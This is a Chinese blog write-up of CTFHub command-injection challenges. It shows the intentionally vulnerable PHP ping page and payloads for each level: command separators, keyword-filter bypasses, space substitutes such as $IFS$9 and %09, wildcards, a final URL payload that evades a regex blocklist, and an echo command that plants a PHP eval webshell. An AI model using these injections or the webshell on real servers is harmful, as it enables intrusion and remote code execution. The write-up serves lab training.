Web命令注入
无过滤
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$cmd = "ping -c 4 {$_GET['ip']}";
exec($cmd, $res);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>CTFHub 命令注入-无过滤</title>
</head>
<body>
<h1>CTFHub 命令注入-无过滤</h1>
<form action="#" method="GET">
<label for="ip">IP : </label><br>
<input type="text" id="ip" name="ip">
<input type="submit" value="Ping">
</form>
<hr>
<pre>
<?php
if ($res) {
print_r($res);
}
?>
</pre>
<?php
show_source(__FILE__);
?>
</body>
</html>
观察html代码发现ping直接将输入的IP地址连接在命令行后,可以使用分隔符运行想要注入的指令
先使用ls指令查看文件目录
127.0.0.1;ls;
返回目录:
Array
(
[0] => PING 127.0.0.1 (127.0.0.1): 56 data bytes
[1] => 13175248123414.php
[2] => index.php
)
查看php获得flag
127.0.0.1;cat 13175248123414.php;
flag藏在注释里
过滤cat命令
用其他命令代替
more less tail tac 都行
反斜杠和连接符
ca\t ca’‘t 都可以绕过前端检测
注入木马
构造一句话木马
echo "<?php @eval(\$_POST['pass']);?>" >> shell.php;
过滤空格
拿占位符(?)替代即可
这几个测试可以用
<,$IFS$9,IFS
url占位符可以用这几个
%09 Tab 替代空格(%20不知道为什么用不了)
%0a Enter 换行 用于隔开命令
- 通配符,过滤了特定字符可以用通配符和文件其他特征绕过检测
过滤目录分割符
观察题目需要我们进入文件夹目录得到flag
使用cd再cat就能不用输入了
过滤运算符
|&被过滤了,可以考虑用;
或者用换行符也行(%0a)
upd:换行占位符是在url窗口提交GET请求的时候换的
综合题
啥都过滤完了
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
在url栏输入神秘代码
文件结构是用ls调试出来的,找到flag在哪了以后用通配符和连接符绕开检测
ip=127.0.0.1%0acd%09*here%0aca''t%09*.php
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
2018-07-20 P2042 [NOI2005]维护数列 && Splay区间操作(四)